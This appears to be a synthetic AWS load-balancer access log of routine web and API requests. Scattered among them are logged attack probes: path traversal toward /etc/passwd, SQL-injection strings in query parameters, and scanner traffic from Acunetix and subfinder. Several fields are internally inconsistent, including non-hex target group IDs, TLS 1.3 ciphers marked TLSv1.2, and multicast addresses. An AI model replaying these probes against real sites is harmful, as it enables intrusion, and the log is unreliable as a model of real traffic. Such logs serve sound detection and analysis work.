2024-11-01T01:52:17.791427Z prod-api-alb 235.156.226.189:52165 10.0.202.89:443 0.072353 0.392368 0.082749 200 200 427 10132 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1e1-c47c65a1c26e47f9853e2f45" "prod-api-alb.example.com" "-" 9 2024-11-01T01:52:17.791427Z "forward" "-" "-" "10.0.202.89:443" "200" "-" "-" -https 2024-11-01T01:52:19.445881Z prod-web-alb 39.133.24.234:63429 10.0.3.246:443 0.023248 0.132776 0.043559 301 301 986 3117 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1e3-8215581ffb9d4e128db98f17" "prod-web-alb.example.com" "-" 4 2024-11-01T01:52:19.445881Z "forward" "-" "-" "10.0.3.246:443" "301" "-" "-" -https 2024-11-01T01:52:19.930610Z prod-web-alb 105.170.253.93:35367 10.0.96.51:443 0.073110 0.061010 0.041578 302 302 504 11213 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1e3-cd59dd1306f44d59a182e322" "prod-web-alb.example.com" "-" 10 2024-11-01T01:52:19.930610Z "forward" "-" "-" "10.0.96.51:443" "302" "-" "-" -https 2024-11-01T01:52:20.405612Z prod-web-alb 42.201.94.181:44417 10.0.99.236:443 0.095921 0.235213 0.047674 200 200 698 9684 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1e4-71a91d861c784aa983139152" "prod-web-alb.example.com" "-" 6 2024-11-01T01:52:20.405612Z "forward" "-" "-" "10.0.99.236:443" "200" "-" "-" -https 2024-11-01T01:52:21.575929Z staging-alb 121.131.166.202:30260 45.218.156.163:443 0.105986 0.547398 0.088379 200 200 35 9298 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1e5-21d9d6b08b8b4346b053b2f7" "staging-alb.example.com" "-" 4 2024-11-01T01:52:21.575929Z "forward" "-" "-" "45.218.156.163:443" "200" "-" "-" -https 2024-11-01T01:52:21.892786Z prod-api-alb 59.233.57.193:35456 10.0.197.13:443 0.008142 0.023212 0.066461 301 301 54 10085 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1e5-fca7a0b92f3d49fdb0b1de7c" "prod-api-alb.example.com" "-" 5 2024-11-01T01:52:21.892786Z "forward" "-" "-" "10.0.197.13:443" "301" "-" "-" -https 2024-11-01T01:52:22.555477Z prod-api-alb 145.79.49.186:28227 10.0.3.30:443 0.074918 0.474242 0.067244 404 404 329 2343 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1e6-e25e142ac8494136a76cf43b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:52:22.555477Z "forward" "-" "-" "10.0.3.30:443" "404" "-" "-" -https 2024-11-01T01:52:22.764531Z prod-web-alb 140.181.77.146:64626 10.0.80.64:443 0.075318 0.252424 0.050087 200 200 559 9122 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1e6-02e8d3aa7d1f4a20ae15db78" "prod-web-alb.example.com" "-" 3 2024-11-01T01:52:22.764531Z "forward" "-" "-" "10.0.80.64:443" "200" "-" "-" -https 2024-11-01T01:52:24.227320Z prod-web-alb 159.53.40.98:14131 10.0.130.79:443 0.075888 0.206760 0.098239 302 302 896 9507 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1e8-d67c702c5856408da41d7eff" "prod-web-alb.example.com" "-" 3 2024-11-01T01:52:24.227320Z "forward" "-" "-" "10.0.130.79:443" "302" "-" "-" -https 2024-11-01T01:52:25.872144Z prod-web-alb 70.91.6.233:27710 10.0.140.162:443 0.047640 0.241419 0.031448 200 200 763 2656 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1e9-c10887b0ca8c48528f333900" "prod-web-alb.example.com" "-" 1 2024-11-01T01:52:25.872144Z "forward" "-" "-" "10.0.140.162:443" "200" "-" "-" -https 2024-11-01T01:52:26.031690Z staging-alb 92.162.114.147:52284 169.32.85.0:443 0.042853 0.115340 0.116399 302 302 719 12593 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1ea-b1d6aa6617954bcdb5a54198" "staging-alb.example.com" "-" 8 2024-11-01T01:52:26.031690Z "forward" "-" "-" "169.32.85.0:443" "302" "-" "-" -https 2024-11-01T01:52:27.368205Z prod-api-alb 176.253.88.191:18146 10.0.161.224:443 0.096336 0.442498 0.088533 200 200 229 3657 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1eb-a31a73c463b1470585ddf7d0" "prod-api-alb.example.com" "-" 6 2024-11-01T01:52:27.368205Z "forward" "-" "-" "10.0.161.224:443" "200" "-" "-" -http 2024-11-01T01:52:29.081776Z staging-alb 161.61.200.219:48777 78.227.48.221:80 0.042982 0.476133 0.006748 200 200 676 9094 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1ed-50fefc27bf6f4c198567891d" "staging-alb.example.com" "-" 10 2024-11-01T01:52:29.081776Z "forward" "-" "-" "78.227.48.221:80" "200" "-" "-" -https 2024-11-01T01:52:30.622316Z prod-api-alb 50.125.48.55:61246 10.0.90.10:443 0.008460 0.116751 0.027874 200 200 11 14911 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1ee-32109d4350a64c3ab14bd002" "prod-api-alb.example.com" "-" 8 2024-11-01T01:52:30.622316Z "forward" "-" "-" "10.0.90.10:443" "200" "-" "-" -https 2024-11-01T01:52:31.134531Z prod-api-alb 138.192.254.160:45012 10.0.4.107:443 0.013416 0.349763 0.027468 301 301 15 14048 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1ef-991fe5fe0c8a45a0a05128b3" "prod-api-alb.example.com" "-" 3 2024-11-01T01:52:31.134531Z "forward" "-" "-" "10.0.4.107:443" "301" "-" "-" -https 2024-11-01T01:52:32.495769Z staging-alb 133.189.61.228:47706 168.23.74.17:443 0.070545 0.060077 0.000488 200 200 974 9322 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1f0-3a5bf5730903406590c98dfc" "staging-alb.example.com" "-" 9 2024-11-01T01:52:32.495769Z "forward" "-" "-" "168.23.74.17:443" "200" "-" "-" -https 2024-11-01T01:52:33.811120Z staging-alb 69.169.197.112:33382 235.198.163.103:443 0.088180 0.172154 0.124485 302 302 393 3619 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1f1-ca41247f4b8142cc917d8ac3" "staging-alb.example.com" "-" 8 2024-11-01T01:52:33.811120Z "forward" "-" "-" "235.198.163.103:443" "302" "-" "-" -https 2024-11-01T01:52:35.670185Z prod-web-alb 233.243.177.164:28974 10.0.195.251:443 0.031917 0.341374 0.044851 301 301 885 11899 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1f3-aaa8829f3b924f439437ce67" "prod-web-alb.example.com" "-" 5 2024-11-01T01:52:35.670185Z "forward" "-" "-" "10.0.195.251:443" "301" "-" "-" -http 2024-11-01T01:52:36.374323Z staging-alb 99.115.34.101:12566 215.126.137.203:443 0.132652 0.387162 0.057020 302 302 280 14421 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1f4-a01cb5c81f6d41f48163ffb3" "staging-alb.example.com" "-" 8 2024-11-01T01:52:36.374323Z "forward" "-" "-" "215.126.137.203:443" "302" "-" "-" -http 2024-11-01T01:52:37.421902Z staging-alb 185.181.34.255:30444 126.248.24.35:80 0.111223 0.040945 0.091332 403 403 699 2922 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1f5-c906af61920545c8aeea81ad" "-" "-" 10 2024-11-01T01:52:37.421902Z "forward" "-" "-" "126.248.24.35:80" "403" "-" "-" -https 2024-11-01T01:52:38.341643Z staging-alb 31.254.7.157:26287 81.162.57.126:8080 0.012352 0.422294 0.127398 301 301 182 6832 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d1f6-ee151ebe9b4248379814947e" "staging-alb.example.com" "-" 9 2024-11-01T01:52:38.341643Z "forward" "-" "-" "81.162.57.126:8080" "301" "-" "-" -https 2024-11-01T01:52:38.743898Z prod-api-alb 246.35.84.173:25295 10.0.69.108:443 0.033858 0.137171 0.012418 302 302 181 8744 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1f6-774969aac8ad4f44bdbf0a4e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:52:38.743898Z "forward" "-" "-" "10.0.69.108:443" "302" "-" "-" -https 2024-11-01T01:52:40.006488Z prod-api-alb 132.138.26.249:14890 10.0.50.203:443 0.066906 0.017518 0.005479 404 404 76 9766 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1f8-ef44a28fe17145fa889ce258" "prod-api-alb.example.com" "-" 8 2024-11-01T01:52:40.006488Z "forward" "-" "-" "10.0.50.203:443" "404" "-" "-" -https 2024-11-01T01:52:41.079951Z prod-api-alb 81.134.231.129:48755 10.0.166.63:443 0.000732 0.383290 0.065266 301 301 102 1088 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1f9-a339cca3c81d426d80bf72a6" "prod-api-alb.example.com" "-" 1 2024-11-01T01:52:41.079951Z "forward" "-" "-" "10.0.166.63:443" "301" "-" "-" -http 2024-11-01T01:52:42.325767Z staging-alb 89.216.95.160:46208 107.191.5.152:80 0.051357 0.197342 0.039083 302 302 424 6531 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d1fa-d775e57d644043ecac699c04" "staging-alb.example.com" "-" 2 2024-11-01T01:52:42.325767Z "forward" "-" "-" "107.191.5.152:80" "302" "-" "-" -https 2024-11-01T01:52:43.422780Z prod-api-alb 7.173.24.115:35918 10.0.102.26:443 0.053245 0.004299 0.050270 200 200 144 14281 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d1fb-fed0174f47a141c593f385ab" "prod-api-alb.example.com" "-" 5 2024-11-01T01:52:43.422780Z "forward" "-" "-" "10.0.102.26:443" "200" "-" "-" -https 2024-11-01T01:52:43.697245Z prod-api-alb 45.155.205.138:13554 10.0.108.205:443 0.094687 0.444424 0.001855 301 301 938 12418 "GET /wp-admin HTTP/1.1" "Acunetix-Agent" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1fb-adab683453284205864843fc" "-" "-" 1 2024-11-01T01:52:43.697245Z "forward" "-" "-" "10.0.108.205:443" "301" "-" "-" -https 2024-11-01T01:52:45.191135Z prod-web-alb 103.16.138.225:12322 10.0.113.66:443 0.025736 0.230343 0.072528 301 301 232 2095 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1fd-b4fe07fd89844c7092ab43da" "prod-web-alb.example.com" "-" 2 2024-11-01T01:52:45.191135Z "forward" "-" "-" "10.0.113.66:443" "301" "-" "-" -https 2024-11-01T01:52:46.171011Z prod-web-alb 185.181.230.236:45394 10.0.138.192:443 0.062847 0.367599 0.008206 500 500 770 13504 "POST /api/products?category=1' OR '1'='1 HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d1fe-dbdd423793104a43add2f74c" "-" "-" 5 2024-11-01T01:52:46.171011Z "forward" "-" "-" "10.0.138.192:443" "500" "-" "-" -https 2024-11-01T01:52:46.353008Z prod-web-alb 151.88.62.103:46803 10.0.47.6:443 0.074835 0.394524 0.015426 200 200 647 1329 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d1fe-a2685ee0f43a442795b9b01a" "prod-web-alb.example.com" "-" 7 2024-11-01T01:52:46.353008Z "forward" "-" "-" "10.0.47.6:443" "200" "-" "-" -https 2024-11-01T01:52:47.966560Z prod-api-alb 202.245.119.188:52583 10.0.176.72:443 0.071465 0.434634 0.080599 200 200 735 4303 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d1ff-5fa4fd313d6348549db41cfd" "prod-api-alb.example.com" "-" 5 2024-11-01T01:52:47.966560Z "forward" "-" "-" "10.0.176.72:443" "200" "-" "-" -https 2024-11-01T01:52:49.313992Z prod-web-alb 82.78.209.198:46673 10.0.129.239:443 0.079433 0.389491 0.073183 200 200 490 2370 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d201-a109a392b5684d3fa726404a" "-" "-" 5 2024-11-01T01:52:49.313992Z "forward" "-" "-" "10.0.129.239:443" "200" "-" "-" -https 2024-11-01T01:52:50.338421Z prod-api-alb 57.110.106.18:61618 10.0.54.240:443 0.077932 0.339397 0.015394 404 404 75 4581 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d202-5f7518b1b5c844c9bef60718" "prod-api-alb.example.com" "-" 0 2024-11-01T01:52:50.338421Z "forward" "-" "-" "10.0.54.240:443" "404" "-" "-" -https 2024-11-01T01:52:52.095593Z prod-api-alb 176.83.60.120:59755 10.0.205.7:443 0.080545 0.260317 0.067693 200 200 487 343 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d204-516e01520d394629bacad534" "prod-api-alb.example.com" "-" 9 2024-11-01T01:52:52.095593Z "forward" "-" "-" "10.0.205.7:443" "200" "-" "-" -https 2024-11-01T01:52:52.947708Z staging-alb 209.247.146.8:36201 29.167.113.230:443 0.039964 0.373764 0.069987 301 301 789 7205 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d204-037ad6636bbe4ea0845c0126" "staging-alb.example.com" "-" 0 2024-11-01T01:52:52.947708Z "forward" "-" "-" "29.167.113.230:443" "301" "-" "-" -https 2024-11-01T01:52:54.377845Z prod-api-alb 241.244.7.20:64876 10.0.117.124:443 0.010725 0.323508 0.008319 404 404 103 6148 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d206-8f69535c57834807a535091c" "prod-api-alb.example.com" "-" 0 2024-11-01T01:52:54.377845Z "forward" "-" "-" "10.0.117.124:443" "404" "-" "-" -https 2024-11-01T01:52:55.495986Z prod-api-alb 131.47.207.9:18744 10.0.77.111:443 0.099969 0.114617 0.009384 200 200 154 6428 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d207-6d6bab8ef9cd4920bc02a3b6" "-" "-" 7 2024-11-01T01:52:55.495986Z "forward" "-" "-" "10.0.77.111:443" "200" "-" "-" -https 2024-11-01T01:52:56.581037Z prod-web-alb 179.143.7.39:23797 10.0.174.197:443 0.093182 0.004911 0.004960 200 200 722 10830 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d208-0df58ba492d4455ebbaa29f5" "prod-web-alb.example.com" "-" 5 2024-11-01T01:52:56.581037Z "forward" "-" "-" "10.0.174.197:443" "200" "-" "-" -https 2024-11-01T01:52:57.681984Z prod-web-alb 20.213.100.233:22827 10.0.82.226:443 0.012962 0.085898 0.048736 302 302 753 14352 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d209-d6d505eb99bf486a9451fde4" "prod-web-alb.example.com" "-" 7 2024-11-01T01:52:57.681984Z "forward" "-" "-" "10.0.82.226:443" "302" "-" "-" -https 2024-11-01T01:52:58.958008Z prod-web-alb 36.220.216.136:20917 10.0.52.94:443 0.092061 0.130387 0.061142 200 200 369 6539 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d20a-774069124d8c44869317e20d" "prod-web-alb.example.com" "-" 9 2024-11-01T01:52:58.958008Z "forward" "-" "-" "10.0.52.94:443" "200" "-" "-" -https 2024-11-01T01:52:59.913446Z staging-alb 25.169.208.252:27355 54.107.102.30:8080 0.002132 0.698414 0.039927 200 200 83 7037 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d20b-fdd6be552d9d478bb7c64fa3" "staging-alb.example.com" "-" 4 2024-11-01T01:52:59.913446Z "forward" "-" "-" "54.107.102.30:8080" "200" "-" "-" -https 2024-11-01T01:53:00.180667Z prod-api-alb 199.131.165.52:52739 10.0.185.190:443 0.079068 0.297628 0.025147 200 200 204 3090 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d20c-9c1e912ed7a14b2c91032009" "prod-api-alb.example.com" "-" 8 2024-11-01T01:53:00.180667Z "forward" "-" "-" "10.0.185.190:443" "200" "-" "-" -https 2024-11-01T01:53:01.424587Z prod-api-alb 41.67.18.210:39926 10.0.34.190:443 0.057389 0.151469 0.073491 200 200 138 1564 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d20d-86a4b841456540a59c50eafb" "prod-api-alb.example.com" "-" 9 2024-11-01T01:53:01.424587Z "forward" "-" "-" "10.0.34.190:443" "200" "-" "-" -https 2024-11-01T01:53:02.039395Z staging-alb 193.27.228.24:13361 224.82.29.1:443 0.149317 0.520674 0.134839 403 403 406 207 "GET /../../../etc/passwd HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d20e-d43992e7e76b428ab6e9230b" "-" "-" 8 2024-11-01T01:53:02.039395Z "forward" "-" "-" "224.82.29.1:443" "403" "-" "-" -http 2024-11-01T01:53:02.725896Z staging-alb 79.34.112.143:59041 6.216.188.242:8080 0.122255 0.411071 0.145112 301 301 363 2533 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d20e-74a44a291de74b329406c308" "staging-alb.example.com" "-" 4 2024-11-01T01:53:02.725896Z "forward" "-" "-" "6.216.188.242:8080" "301" "-" "-" -https 2024-11-01T01:53:04.475822Z prod-web-alb 247.250.138.233:53500 10.0.191.231:443 0.077195 0.169281 0.071708 302 302 627 10041 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d210-e2e94ad7231a489391b531d5" "prod-web-alb.example.com" "-" 7 2024-11-01T01:53:04.475822Z "forward" "-" "-" "10.0.191.231:443" "302" "-" "-" -https 2024-11-01T01:53:05.825775Z staging-alb 185.181.178.132:23403 119.182.195.13:8080 0.120987 0.583917 0.112571 403 403 686 9360 "POST /users?id=1 OR 1=1 HTTP/1.1" "subfinder/v2.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d211-318f7a1835b947ebb88c9222" "-" "-" 6 2024-11-01T01:53:05.825775Z "forward" "-" "-" "119.182.195.13:8080" "403" "-" "-" -https 2024-11-01T01:53:06.447242Z prod-api-alb 190.167.121.145:28857 10.0.185.98:443 0.090923 0.079281 0.058147 302 302 884 8397 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d212-a7efa064aaf140099812a151" "prod-api-alb.example.com" "-" 10 2024-11-01T01:53:06.447242Z "forward" "-" "-" "10.0.185.98:443" "302" "-" "-" -https 